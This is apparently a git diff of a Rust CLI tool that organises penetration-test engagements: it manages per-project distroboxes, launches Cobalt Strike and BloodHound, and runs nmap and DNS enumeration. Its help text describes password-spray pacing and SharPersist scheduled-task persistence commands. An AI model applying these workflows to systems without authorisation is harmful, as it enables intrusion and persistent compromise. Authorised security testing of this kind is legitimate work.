println!("we made a distrobox oh boy!");
|
||||||
|
let distrobox_start_result = process::Command::new("distrobox")
|
||||||
|
.arg("enter")
|
||||||
|
.arg("--root")
|
||||||
|
.arg(&box_name)
|
||||||
|
.arg("--")
|
||||||
|
.arg("sudo")
|
||||||
|
.arg("-s")
|
||||||
|
.arg("ln")
|
||||||
|
.arg("-sf")
|
||||||
|
.arg("/pentest/boxname")
|
||||||
|
.arg("/etc/boxname")
|
||||||
|
.status();
|
||||||
|
if distrobox_start_result.is_err(){
|
||||||
|
println!("ooof did not start successfully try entering it yoruself");
|
||||||
|
println!("distrobox enter --root {} -- sudo -s ln -sf /pentest/boxname /etc/boxname", &box_name);
|
||||||
|
}
|
||||||
|
else if distrobox_start_result.unwrap().success(){
|
||||||
|
println!("distrobox was started as well!!!! good job me!");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
println!("ooof did not start successfully try entering it yoruself");
|
||||||
|
println!("distrobox enter --root {} -- sudo -s ln -sf /pentest/boxname /etc/boxname", &box_name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
pub fn clean_unused_boxes(projects: &Vec<Project>, boxtemplate: &String) -> Option<JoinHandle<()>>{
|
||||||
|
println!("starting template box: {}", boxtemplate);
|
||||||
|
let template_status = process::Command::new("distrobox").arg("enter").arg("--root").arg(boxtemplate).arg("--").arg("exit").status();
|
||||||
|
if template_status.is_err(){
|
||||||
|
let start_error = template_status.err().unwrap();
|
||||||
|
println!("OOOF issue starting template box, cancelling...");
|
||||||
|
println!("ERROR: {}", start_error);
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
println!("starting project boxes...");
|
||||||
|
for project in projects{
|
||||||
|
if project.stage.contains("current"){
|
||||||
|
let start_status = process::Command::new("distrobox").arg("enter").arg("--root").arg(&project.boxname).arg("--").arg("exit").status();
|
||||||
|
if start_status.is_err(){
|
||||||
|
let start_error = start_status.err().unwrap();
|
||||||
|
println!("OOOF issue starting {}, cancelling...", project.boxname);
|
||||||
|
println!("ERROR: {}", start_error);
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("pruning unused containers...");
|
||||||
|
let handle = thread::spawn(move ||{
|
||||||
|
let spawn_result = process::Command::new("sudo").arg("podman").arg("system").arg("prune").arg("-a").arg("-f").output();
|
||||||
|
if spawn_result.is_err(){
|
||||||
|
let spawn_error = spawn_result.err().unwrap();
|
||||||
|
println!("oof trouble spawing prune command!, try manually");
|
||||||
|
println!("ERROR: {}", spawn_error);
|
||||||
|
}
|
||||||
|
println!("PRUNING COMPLETE!");
|
||||||
|
});
|
||||||
|
thread::sleep(Duration::from_secs(3));
|
||||||
|
println!("this will take some time, but its running on a different thread so you can continue working!");
|
||||||
|
return Some(handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn launch_cobalt_strike(project: Project) -> Option<JoinHandle<()>>{
|
||||||
|
let mut check_path = PathBuf::new();
|
||||||
|
check_path.push(&project.files_folder);
|
||||||
|
check_path.push("cobaltstrike/client");
|
||||||
|
if check_path.as_path().exists() == false{
|
||||||
|
println!("looks like you don't have cobalt strike set up on this beacon... try copying your cobalt strike folder to the following path!");
|
||||||
|
println!("{}", &check_path.display());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
println!("you will need to enter your sudo password shortly, when you've done that successfully please type END and hit enter");
|
||||||
|
let handle = thread::spawn(move ||{
|
||||||
|
let mut cs_dir = PathBuf::new();
|
||||||
|
cs_dir.push(project.files_folder);
|
||||||
|
cs_dir.push("cobaltstrike/client");
|
||||||
|
let cd_res = env::set_current_dir(&cs_dir);
|
||||||
|
if cd_res.is_ok(){
|
||||||
|
let cobalt_strike_launch_result = Command::new("distrobox")
|
||||||
|
.arg("enter")
|
||||||
|
.arg("--root").arg(project.boxname)
|
||||||
|
.arg("--")
|
||||||
|
.arg("./cobaltstrike")
|
||||||
|
.output();
|
||||||
|
if cobalt_strike_launch_result.is_err(){
|
||||||
|
let error = cobalt_strike_launch_result.err().unwrap();
|
||||||
|
println!("{}", "error launching cobalt strike!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
thread::sleep(Duration::from_secs(5));
|
||||||
|
loop{
|
||||||
|
let end = get_user_input("please enter END if the sudo password was enter correctly!");
|
||||||
|
if end == "END".to_string(){
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return Some(handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
|
pub fn launch_bloodhound_gui(project: Project) -> Option<JoinHandle<()>>{
|
||||||
|
let mut bloodhound_command = String::new();
|
||||||
|
let version_response = get_user_input("do you want to use a specific bloodhound version?");
|
||||||
|
if version_response.to_lowercase().contains("y"){
|
||||||
|
bloodhound_command = get_user_input("path to the bloodhound binary you want to use?");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
bloodhound_command = "bloodhound".to_owned();
|
||||||
|
}
|
||||||
|
let mut neo4j_started = false;
|
||||||
|
let neo4jstart_res = Command::new("distrobox")
|
||||||
|
.arg("enter")
|
||||||
|
.arg("--root")
|
||||||
|
.arg(&project.boxname)
|
||||||
|
.arg("--")
|
||||||
|
.arg("sudo")
|
||||||
|
.arg("neo4j")
|
||||||
|
.arg("start")
|
||||||
|
.status();
|
||||||
|
if neo4jstart_res.is_err(){
|
||||||
|
let error = neo4jstart_res.err().unwrap();
|
||||||
|
println!("{}","errror starting neo4j...".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
neo4j_started = true;
|
||||||
|
thread::sleep(Duration::from_secs(3));
|
||||||
|
}
|
||||||
|
if neo4j_started == false{
|
||||||
|
println!("review previous errors, not spawning bloodhound thread...");
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let handle = thread::spawn(move ||{
|
||||||
|
let bloodhound_res = Command::new("distrobox")
|
||||||
|
.arg("enter")
|
||||||
|
.arg("--root")
|
||||||
|
.arg(&project.boxname)
|
||||||
|
.arg("--")
|
||||||
|
.arg(bloodhound_command)
|
||||||
|
.output();
|
||||||
|
if bloodhound_res.is_err(){
|
||||||
|
let error = bloodhound_res.err().unwrap();
|
||||||
|
println!("{}","error starting bloodhound!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return Some(handle);
|
||||||
|
}
|
||||||
453
pentest_tool/src/cli.rs
Normal file
453
pentest_tool/src/cli.rs
Normal file
@@ -0,0 +1,453 @@
|
|||||||
|
use std::collections::HashMap;
|
||||||
|
use std::fs;
|
||||||
|
use std::fs::read_to_string;
|
||||||
|
use std::fs::OpenOptions;
|
||||||
|
use std::path::PathBuf;
|
||||||
|
use std::process::exit;
|
||||||
|
use std::io::Write;
|
||||||
|
use std::thread::JoinHandle;
|
||||||
|
use chrono::Datelike;
|
||||||
|
use clearscreen::clear;
|
||||||
|
use clearscreen;
|
||||||
|
use chrono::Local;
|
||||||
|
use colored::Colorize;
|
||||||
|
use crate::configuration::load_config;
|
||||||
|
use crate::print_error;
|
||||||
|
use crate::print_informational;
|
||||||
|
use crate::print_success;
|
||||||
|
use crate::Project;
|
||||||
|
use crate::project_controls;
|
||||||
|
use crate::box_controls;
|
||||||
|
use crate::info_controls;
|
||||||
|
use crate::start_pentest;
|
||||||
|
use crate::get_user_input;
|
||||||
|
use crate::menu;
|
||||||
|
use crate::portscan_controls;
|
||||||
|
use crate::victim_commands;
|
||||||
|
use crate::enumeration;
|
||||||
|
use crate:: tool_controls;
|
||||||
|
use crate::configuration;
|
||||||
|
use crate::tableize;
|
||||||
|
use crate::exploit;
|
||||||
|
|
||||||
|
|
||||||
|
fn help(command: Option<String>){
|
||||||
|
if command.is_some(){
|
||||||
|
let help_cmd = command.unwrap();
|
||||||
|
let mut lines = Vec::new();
|
||||||
|
lines.push("COMMAND||ALIASES||INFO".to_owned());
|
||||||
|
match help_cmd.as_str(){
|
||||||
|
"list projects" | "lp" | "listp" | "list p" => lines.push("list projects||lp, listp, list p||This command lists all projects currently tracked by the pentest_tool".to_owned().to_owned()) ,
|
||||||
|
"switch project" | "swp" | "switch p" | "switchp" => lines.push(" switch project|| swp, switch p, switchp||This command will switch the active project from the current one to a new on of your choosing. It will prompt you to make a selection.".to_owned()) ,
|
||||||
|
"show active project" | "show active" | "sa" | "show a" => lines.push(" show active project|| sa, show a||This command shows information about the currently active project. NOTE the most useful information is already displayed above the CLI prompt.".to_owned()) ,
|
||||||
|
"create new project" | "cnp" | "new project" | "np" => lines.push(" create new project|| cnp, new project, np||This command creates a new project and default note structure based on pyro's perferred note structure. It will prompt you for any needed information.".to_owned()) ,
|
||||||
|
"save projects" | "sp" | "save" | "s" => lines.push(" save projects|| sp save||This command saves all project information to the ~/.config/pyro_pentest_tool/projects.conf file".to_owned()) ,
|
||||||
|
"import project" | "ip" | "import" => lines.push(" import project|| ip, import||This command will impot an existing project and set up a new distrobox for the project if it is a current project.".to_owned()) ,
|
||||||
|
"remove project" | "rp" | "remove" | "rmp" => lines.push("remove project||rp, remove, rmp||This command removes a project from the list of projects tracked by the pentest_tool, and will destroy its distrobox. It does not remove any directories used or created by the distrobox. Run this after the report is written.".to_owned()) ,
|
||||||
|
"show upcoming projects" | "sup" | "show upcoming" => lines.push("show upcoming projects||sup, show upcoming||This command shows a list of upcoming projects. Use this to verify which project you want to promote when the project enters the active phase.".to_owned()) ,
|
||||||
|
"promote project" | "pp" | "promote" => lines.push("promote project||pp (ha), promote||This command promotes an upcoming project to a current project. It will copy the folders that were created over to the current project space and set up a new distrobox for the project.".to_owned()) ,
|
||||||
|
"new terminal" | "enter" | "enter terminal" | "nt" | "et" => lines.push("new terminal||enter, enter terminal, nt, et||This command spawns a new terminal window in the active project's distrobox. Use this to interact with your project's distrobox.".to_owned()) ,
|
||||||
|
"inline terminal" | "it" | "enter inline" | "ei" => lines.push("inline terminal||it enter, inline, ei||This command spawns a terminal in this window using the current active project's distrobox".to_owned()) ,
|
||||||
|
"cobalt strike" | "cs" => lines.push("cobalt strike||cs||This command opens cobalt strike in the active project's distrobox, and spins it off as a new thread to ensure it doesn't block the rest of this tools operation. NOTE the cobalt strike window will need to be closed before this tool exits sucessfully.".to_owned()) ,
|
||||||
|
"recreate distrobox" | "rdb" | "ndb" | "new distrobox" => lines.push("recreate distrobox||rdb, ndb, new distrobox||This command destroyes the existing distrobox for the currently active project, and clones a new one based on the current state of the template distrobox.".to_owned()) ,
|
||||||
|
"generate userpass" | "userpass" | "gup" | "up" => lines.push("generate userpass||userpass, gup, up||This command generates a userpass file based on the active project's notes. The file will be in the username:password format.".to_owned()) ,
|
||||||
|
"inital enum" | "ie" | "enum" => lines.push("initial enum||ie, enum||This command runs the initial enum script on a nessus csv and saves the output to the active project's notes in the host_notes.md file.".to_owned()) ,
|
||||||
|
"build attack notes" | "ban" | "attack notes" | "hn" => lines.push("build attack notes||ban, attack notes||This command builds the active project's attack note based on the active project's host notes (for external tests). It is expected that you'd run the initial enum command, then manually fill out the enumeration talbes with correct service names and ports.".to_owned()) ,
|
||||||
|
"host discovery" | "build host discovery" | "hd" | "bhd" => lines.push("host discovery||build host discovery, hd, bhd||This command prints the host discovery ping command for the active project, based on the scope table in the general.md notes file.".to_owned()) ,
|
||||||
|
"cobaltstrike port scan" | "cs port scan" | "csps" => lines.push("port scan||cs port scan, cobaltstrike port scan, csps, ps (tell your cat I said that)||This command prints the cobalt strike portscan command based on the active project's scope table in the general.md notes file".to_owned()) ,
|
||||||
|
"parse port scan" | "pps" | "parse scan" => lines.push("parse port scan||pps, parse scan||This commmand parses a cobalt strike portscan TSV and saves interesting hoests to files to the active project's files folder. The host files are designated with the service that was detected that might be interesting. Use this to generate target lists for specific protocols.".to_owned()) ,
|
||||||
|
"stop boxes" | "stop distroboxes" | "sdb" => lines.push("stop boxes||stop distroboxes, sdb||This command stops all distroboxes for the tracked projects. Note if the distrobox isn't running you will see errors in the console, you can safely ignore these.".to_owned()) ,
|
||||||
|
"password spray" | "pass spray" | "pas" => lines.push("password spray||pass spray, pas||This command iterates through the password spray note file and print the command to perform the spray, waiting the proper observation window beteen commands. It prompts you to save if needed. NOTE this will block execution for the rest of the program until it is either finished, or you save and exit the password spray function. I'm working on making this better.".to_owned()) ,
|
||||||
|
"bloodhound" | "bh" => lines.push("bloodhound||bh||This command launches bloodhound in the active project's distrobox. It will automatically start neo4j before staring bloodhound.".to_owned()) ,
|
||||||
|
"parse gather contacts" | "pgc" | "parse contacts" | "pc" => lines.push("parse gather contacts||pgc, parse contacts, pc||This command parses output saved from the gather contacts burpsuite extension.".to_owned()) ,
|
||||||
|
"prune distroboxes" | "pdb" | "prune" => lines.push("prune distroboxes||pdb, prune||this command prunes distroboxes for all projects that are not being tracked by this tool (frees up system storage). This will start all the currently acvtive distorboxes to ensure they don't get pruned, and then will delete all the not-started distrobox volumes and resources.".to_owned()) ,
|
||||||
|
"clear" | "clear screen" | "cls" => lines.push("clear||clear screen, cls||This command clears the screen of command output.".to_owned()) ,
|
||||||
|
"exit" => lines.push("exit||(none)\nThis command exits the pentest_tool, it will save all project infomation, and wait for all threads to re-join the main thread before exiting.".to_owned()) ,
|
||||||
|
"settings" => lines.push("||The settings file is located at ~/.config/pyro_pentest_tool/conf||The format is setting_name:setting_value.||Needed settings are\n project_files - the place to store current project files folders|| projtect_notes - the place to store current project notes|| tools_folder - the place to store custom tools like those downloaded from github|| upcoming_files - the place to store upcoming project files folders|| upcoming_notes - The place to store upcoming project note files|| box_template - the name of the distrobox you want to clone for project boxes|| terminal - the command you use to launch a terminal, while running a specific Ex: konsole -e || cracking_rig - the user and host you use for a personal cracking rig in the openssh formating: Ex: pyro@cracking_rig or pyro@192.168.1.101 if you do not have a cracking rig the default is @n|| rockyou_location - the location on the cracking rig for the rockyou.txt file default is n|| rule_location - the location on the cracking rig for the one rule to rule them all file. Default is n|| pass_file - this is the location where you store your standard password spray file. If you do not have a custom one this tool provides one. The default is ~/.config/pyro_pentest_tool/passwordspary.md|| fingerprint - this is whether you want fingerprint authentication within your distroboxes, takes y/n|| vault_name - the name of your obsidian vault, default is notes||".to_owned()) ,
|
||||||
|
"parse normal nmap file" | "pnnf" | "parse nmap" | "pn" => lines.push("parse normal nmap file|| pnnf, parse nmap, pn||This command parses the normal output of an nmap scan (like if you just tee'd or >'d it to a file) and outputs in host:port or int the coablt strike tsv format. It will attempt to find the file within the active project's files folder, and if it can't find the file it will prompt you for input.".to_owned()),
|
||||||
|
"sharpersist command" | "spc" | "sharp scheduled task" | "sst" => lines.push(" sharpersist command|| spc, sharp scheduled task, sst||This comand prints the commands to run to use sharpersist.exe to create a scheduled task that runs hourly called FRPersist.".to_owned()),
|
||||||
|
"port scan" | "ps" | "nmap" | "nmap scan" | "ns" | "nm" => lines.push(" port scan|| ps, nmap, nmap scan, ns, nm||This command runs an nmap scan against the scope in the active projects notes, and saves the output.".to_owned()),
|
||||||
|
"show scope" | "ss" | "show s" | "s s" | "scope" => lines.push("show scope||ss, show s, s s, scope||This command displays the current project's scope as just the hosts in the scope table in your notes.".to_owned()),
|
||||||
|
"port scan command" | "psc" | "nmap command" | "nmc" => lines.push("port scan command||psc,nmap command, nmc||This command will print the nmap command to manually run a scan to the terminal so you can copy paste it.".to_owned()),
|
||||||
|
"update git tools" | "ugt" | "update git" | "ug" => lines.push(" update git tools|| update git, ugt, ug||This command attempts to update the git tools in your tools directory, it will attempt to update every directory as a git project. If the directory is not a git project it should just error out and continue to the next one.".to_owned()),
|
||||||
|
"dns records" | "dr" => lines.push("dnsrecords||dr||This command will run dns recon inside of your distrobox and save the results to your enumeration notes.".to_owned()),
|
||||||
|
"brute force subdomains"| "bsd" | "gobuster dns" | "gd" => lines.push("brute force subdomains||bsd,gobuster dns, gd||this command will run gobuster in the project's distrobox and save the results to your notes.".to_owned()),
|
||||||
|
"dns enumeration" | "de" | "all dns stuff" | "ads" | "dns stuff" | "ds" => lines.push("dns enumeration||de, all dns stuff, ads, dns stuff, de||This command will perform both dns record enumeration with dnsrecon, and subdomain enumeration using gobster inside of your distrobox and save the output to your notes.".to_owned()),
|
||||||
|
"modify tool config" | "mtc" => lines.push("modify tool config|| mtc||This command lets you modify the tool's configuration.".to_owned()),
|
||||||
|
"separate work and personal projects" | "swpp" | "separate projects" | "seppro" => lines.push("separate work and personal||swpp, separate projects, seppro||This command lets you separate work and personal projects into separate config files. This allows you to load personal and work projects separately!".to_owned()),
|
||||||
|
"switch to personal projects" | "switch personal" => lines.push("switch to personal projects||switch personal||This command lets you switch which config file is loaded to the personal config file.".to_owned()),
|
||||||
|
"switch to work projects" | "switch work" => lines.push("switch to work projects||switch work||This command lets you switch to load the work projects.".to_owned()),
|
||||||
|
"parse net view" | "pnv" => lines.push("parse net view||pnv||This command takes a text file of netview output and parses it into share paths".to_owned()),
|
||||||
|
_ => ()
|
||||||
|
}
|
||||||
|
tableize(lines);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
println!("Welcom to Pyro's pentest command line!");
|
||||||
|
println!("the pentest_tool uses a configuration file to store your settings. This configuration file is located at ~/.config/pyro_pentest_tool/conf.\nYou can modify this file, but do so cautiously, incorrect formatting will cause this program to have a bruh moment.\nThe correct format is setting_name:setting_value\nExample:\nprojecT_files:/var/home/pyro/pentests/current");
|
||||||
|
println!("for help configuring the settings file run help settings");
|
||||||
|
let lines = vec!["command||aliases".to_owned(),
|
||||||
|
"menu||main menu, mm".to_owned(),
|
||||||
|
"list projects||lp, listp, list p".to_owned(),
|
||||||
|
"switch project||sp, switch p, switchp".to_owned(),
|
||||||
|
"show active project||show active, sa, show a".to_owned(),
|
||||||
|
"create new project||cnp, new project, np".to_owned(),
|
||||||
|
"save projects||sp, save, s".to_owned(),
|
||||||
|
"import project||ip, import".to_owned(),
|
||||||
|
"remove project||rp, remove, rmp".to_owned(),
|
||||||
|
"show upcoming project||sup, show upcoming".to_owned(),
|
||||||
|
"promote project||pp, promote".to_owned(),
|
||||||
|
"new terminal||enter, enter terminal, nt, et".to_owned(),
|
||||||
|
"inline terminal||it, enter inline, ei".to_owned(),
|
||||||
|
"cobalt strike||cs".to_owned(),
|
||||||
|
"recreate distrobox||rdb, ndb, new distrobox".to_owned(),
|
||||||
|
"generate userpass||userpass, gup, up".to_owned(),
|
||||||
|
"inital enum||ie, enum".to_owned(),
|
||||||
|
"host discovery ||build host discovery, hd, bhd".to_owned(),
|
||||||
|
"port scan||cs port scan, cobaltstrike port scan, csps, ps".to_owned(),
|
||||||
|
"parse port scan ||pps, parse scan".to_owned(),
|
||||||
|
"stop boxes||stop distroboxes, sdb".to_owned(),
|
||||||
|
"password spray||pass spray, pas".to_owned(),
|
||||||
|
"bloodhound||bh".to_owned(),
|
||||||
|
"parse gather contacts||pgc, parse contacts, pc".to_owned(),
|
||||||
|
"prune distroboxes||pdb, prune".to_owned(),
|
||||||
|
"clear||clear screen, cls".to_owned(),
|
||||||
|
"parse nomral nmap file||pnnf, parse nmap, pn".to_owned(),
|
||||||
|
"show scope||ss, show s, s s, scope".to_owned(),
|
||||||
|
"sharpersist command||spc, sharp scheduled task".to_owned(),
|
||||||
|
"port scan||ps, nmap, nmap scan, ns, nm".to_owned(),
|
||||||
|
"port scan command||psc, nmap command, nmc".to_owned(),
|
||||||
|
"update git tools||ugt, update git, ug".to_owned(),
|
||||||
|
"dns records||dr".to_owned(),
|
||||||
|
"brute force subdomain||bsd, gobuster dns, gd".to_owned(),
|
||||||
|
"dns enumeration||de, all dns stuff, ads, dns stuff, ds".to_owned(),
|
||||||
|
"modify tool config||mtc".to_owned(),
|
||||||
|
"separate work and personal projects||swpp, separate projects, seppro".to_owned(),
|
||||||
|
"switch to personal projects||switch personal".to_owned(),
|
||||||
|
"switch to work projects||switch work".to_owned(),
|
||||||
|
"parse net view||pnv".to_owned(),
|
||||||
|
"help||?, -h".to_owned()];
|
||||||
|
println!("available commands:");
|
||||||
|
tableize(lines);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get_active_project(projects: &Vec<Project>) -> Option<&Project>{
|
||||||
|
let mut active_project = &projects[0];
|
||||||
|
for project in projects{
|
||||||
|
if project.active == true{
|
||||||
|
active_project = project
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return Some(active_project)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn next_project_id(config_path: &PathBuf) -> Option<i32>{
|
||||||
|
let projects_res = project_controls::get_projects(config_path, false);
|
||||||
|
if projects_res.is_none(){
|
||||||
|
println!("{}", "Error loading projects!!".red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let projects = projects_res.unwrap();
|
||||||
|
let mut new_id = 0;
|
||||||
|
for project in projects.clone(){
|
||||||
|
if project.id > new_id{
|
||||||
|
new_id = project.id + 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return Some(new_id);
|
||||||
|
}
|
||||||
|
#[allow(unused)]
|
||||||
|
pub fn run_command(cmd: String,
|
||||||
|
settings: &HashMap<&str, String>,
|
||||||
|
config_path: &PathBuf,
|
||||||
|
mut projects: &mut Vec<Project>) -> Option<JoinHandle<()>> {
|
||||||
|
let base_files = PathBuf::from(settings["project_files"].clone());
|
||||||
|
let base_notes = PathBuf::from(settings["project_notes"].clone());
|
||||||
|
let tools_dir = PathBuf::from(settings["tools_folder"].clone());
|
||||||
|
let boxtemplate= settings["box_template"].clone();
|
||||||
|
let terminal = settings["terminal_command"].clone();
|
||||||
|
let cracking_rig = settings["cracking_rig"].clone();
|
||||||
|
let rockyou = settings["rockyou"].clone();
|
||||||
|
let rule = settings["rule"].clone();
|
||||||
|
let upcoming_files = PathBuf::from(settings["upcoming_files"].clone());
|
||||||
|
let upcoming_notes = PathBuf::from(settings["upcoming_notes"].clone());
|
||||||
|
let password_spray_file = PathBuf::from(settings["pass_spray_file"].clone());
|
||||||
|
let fingerprint = settings["fingerprint"].to_lowercase().contains("y");
|
||||||
|
let vault_name = settings["vault_name"].clone();
|
||||||
|
let new_id_res = next_project_id(&config_path);
|
||||||
|
if new_id_res.is_none(){
|
||||||
|
println!("{}", "failed to get new project ID!".red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut new_id = new_id_res.unwrap();
|
||||||
|
let active_project_res = get_active_project(&projects);
|
||||||
|
if active_project_res.is_none(){
|
||||||
|
println!("{}", "failed to get active project!".red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let active_project = active_project_res.unwrap();
|
||||||
|
let mut notes_folder_string = format!("{}", &active_project.notes_folder.display());
|
||||||
|
let mut obsidian_folder_vec = PathBuf::new();
|
||||||
|
let mut reached_vault_folder = false;
|
||||||
|
for folder in notes_folder_string.split("/").collect::<Vec<&str>>(){
|
||||||
|
if !folder.contains(&vault_name){
|
||||||
|
reached_vault_folder = true;
|
||||||
|
obsidian_folder_vec.push(folder);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
if reached_vault_folder{
|
||||||
|
obsidian_folder_vec.push(folder);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let obsidian_uri = format!("obsidian://open?vault={}&file={}", vault_name, obsidian_folder_vec.display().to_string().replace("/", "%2F"));
|
||||||
|
let mut response = String::new();
|
||||||
|
let now = Local::now();
|
||||||
|
let month = now.month();
|
||||||
|
let year = now.year();
|
||||||
|
let mut season = String::new();
|
||||||
|
let mut lseason = String::new();
|
||||||
|
match month{
|
||||||
|
12 | 01 | 02 => {season = "Winter".to_owned(); lseason = "Fall".to_owned()},
|
||||||
|
03 | 04 | 05 => {season = "Spring".to_owned(); lseason = "Winter".to_owned()},
|
||||||
|
06 | 07 | 08 => {season = "Summer".to_owned(); lseason = "Spring".to_owned()},
|
||||||
|
09 | 10 | 11 => {season = "Fall".to_owned(); lseason = "Summer".to_owned()},
|
||||||
|
_ => {println!("error getting season! Check code..."); exit(1)}
|
||||||
|
}
|
||||||
|
if cmd.contains("help"){
|
||||||
|
if cmd.contains(" "){
|
||||||
|
let help_with = &cmd.split(" ").collect::<Vec<&str>>()[1].to_owned();
|
||||||
|
help(Some(help_with.to_owned()));
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
help(None);
|
||||||
|
}
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
match cmd.as_str(){
|
||||||
|
"list projects" | "lp" | "listp" | "list p" => {project_controls::list_projects(&projects); return None},
|
||||||
|
"switch project" | "swp" | "switch p" | "switchp" => {project_controls::switch_project(&mut projects); return None},
|
||||||
|
"show active project" | "show active" | "sa" | "show a" => {println!("\nclient: {}\n\nproject: {}\n\nbox: {}\n\nproject files: {}\n\nproject notes: {}\n", active_project.customer ,active_project.project_name, active_project.boxname, active_project.files_folder.display(), active_project.notes_folder.display()); return None},
|
||||||
|
"create new project" | "cnp" | "new project" | "np" => {new_id = new_id + 1; start_pentest::start_pentest(&config_path, &mut projects, new_id, &upcoming_files, &upcoming_notes, &boxtemplate, &password_spray_file); return None},
|
||||||
|
"save projects" | "sp" | "save" | "s" => {project_controls::save_projects(&projects, &config_path); return None},
|
||||||
|
"import project" | "ip" | "import" => {new_id = new_id + 1; project_controls::new_project(&mut projects, &base_files, &base_notes, &tools_dir, &boxtemplate, &config_path, new_id, &upcoming_files, &upcoming_notes, fingerprint); return None},
|
||||||
|
"remove project" | "rp" | "remove" | "rmp" => {project_controls::remove_project(&mut projects, &config_path); return None},
|
||||||
|
"show upcoming projects" | "sup" | "show upcoming" => {project_controls::print_upcoming_projects(&projects); return None},
|
||||||
|
"promote project" | "pp" | "promote" => {project_controls::promote_project(&mut projects, &config_path, &base_files, &base_notes, &tools_dir, &boxtemplate, fingerprint); return None},
|
||||||
|
"new terminal" | "enter" | "enter terminal" | "nt" | "et" => {box_controls::project_standalone_terminal(active_project.clone(), terminal.clone()); return None},
|
||||||
|
"inline terminal" | "it" | "enter inline" | "ei" => {box_controls::project_inline_terminal(active_project.clone()); return None},
|
||||||
|
"cobalt strike" | "cs" => {let cs_thread = box_controls::launch_cobalt_strike(active_project.clone()); return cs_thread},
|
||||||
|
"recreate distrobox" | "rdb" | "ndb" | "new distrobox" => {box_controls::make_box(&active_project, &tools_dir, &boxtemplate, false, fingerprint); return None},
|
||||||
|
"generate userpass" | "userpass" | "gup" | "up" => {info_controls::generate_userpass(&active_project); return None},
|
||||||
|
"inital enum" | "ie" | "enum" => {info_controls::run_initial_enum(&active_project); return None},
|
||||||
|
"build attack notes" | "ban" | "attack notes" | "hn" => {portscan_controls::build_cmd_for_host_discovery(&active_project); return None;}
|
||||||
|
"host discovery" | "build host discovery" | "hd" | "bhd" => {portscan_controls::build_cmd_for_host_discovery(&active_project); return None},
|
||||||
|
"cobaltstrike port scan" | "cs port scan" | "csps" => {portscan_controls::build_cs_portscan_cmd(&active_project); return None},
|
||||||
|
"parse port scan" | "pps" | "parse scan" => {portscan_controls::parse_csportscan(&active_project); return None},
|
||||||
|
"stop boxes" | "stop distroboxes" | "sdb" => {box_controls::stop_all_boxes(&projects); return None},
|
||||||
|
"password spray" | "pass spray" | "pas" => {info_controls::password_spray_help(&active_project, season, lseason, year, &tools_dir, &config_path); return None},
|
||||||
|
"bloodhound" | "bh" => {let bloodhound_handle = box_controls::launch_bloodhound_gui(active_project.clone()).unwrap(); return Some(bloodhound_handle);},
|
||||||
|
"parse gather contacts" | "pgc" | "parse contacts" | "pc" => {info_controls::partse_gathercontacts(&active_project); return None},
|
||||||
|
"prune distroboxes" | "pdb" | "prune" => {let prune_thread = box_controls::clean_unused_boxes(&projects, &boxtemplate); return prune_thread},
|
||||||
|
"parse normal nmap file" | "pnnf" | "parse nmap" | "pn" => {portscan_controls::parse_normal_nmap_output(&active_project); return None;},
|
||||||
|
"show scope" | "ss" | "show s" | "s s" | "scope" => {let scope_res = info_controls::get_scope_entries(&active_project); if scope_res.is_some(){for host in scope_res.unwrap(){println!("{}", host)}}return None},
|
||||||
|
"update git tools" | "ugt" | "update git" | "ug" => {tool_controls::update_git_tools(&tools_dir); return None},
|
||||||
|
"port scan" | "ps" | "nmap" | "nmap scan" | "ns" | "nm" => {portscan_controls::run_nmap_portscan(&active_project); return None;},
|
||||||
|
"port scan command" | "psc" | "nmap command" | "nmc" => {portscan_controls::build_nmap_command(&active_project); return None;}
|
||||||
|
"sharpersist command" | "spc" | "sharp scheduled task" | "sst" => {victim_commands::sharp_persist_command(&tools_dir); return None;},
|
||||||
|
"dns records" | "dr" => {let dns_handle = enumeration::run_dns_enumeration(&active_project, None, true); return dns_handle;},
|
||||||
|
"brute force subdomains"| "bsd" | "gobuster dns" | "gd" => {let gobuster_handle = enumeration::bruteforce_subs(&active_project, None,None, true); return gobuster_handle},
|
||||||
|
"dns enumeration" | "de" | "all dns stuff" | "ads" | "dns stuff" | "ds" => {let all_dns_handle = enumeration::do_all_dns_enumeration(&active_project); return all_dns_handle},
|
||||||
|
"dns squatting scan" | "dnstwist" | "dss" => {let twist_handle = enumeration::dns_squatting(&active_project, None, true); return twist_handle},
|
||||||
|
"print report information" | "pri" => {info_controls::print_report_information(&active_project); return None;},
|
||||||
|
"modify tool config" | "mtc" => {configuration::generate_tool_config(&config_path); return None;},
|
||||||
|
"separate work and personal projects" | "swpp" | "separate projects" | "seppro" => {project_controls::separate_personal_work_projects(&config_path); return None;}
|
||||||
|
"switch to personal projects" | "switch personal" => {let mut project_load_res = project_controls::swith_to_personal(&config_path); if project_load_res.is_some(){projects.clear();for project in project_load_res.unwrap(){projects.push(project);}}; return None;},
|
||||||
|
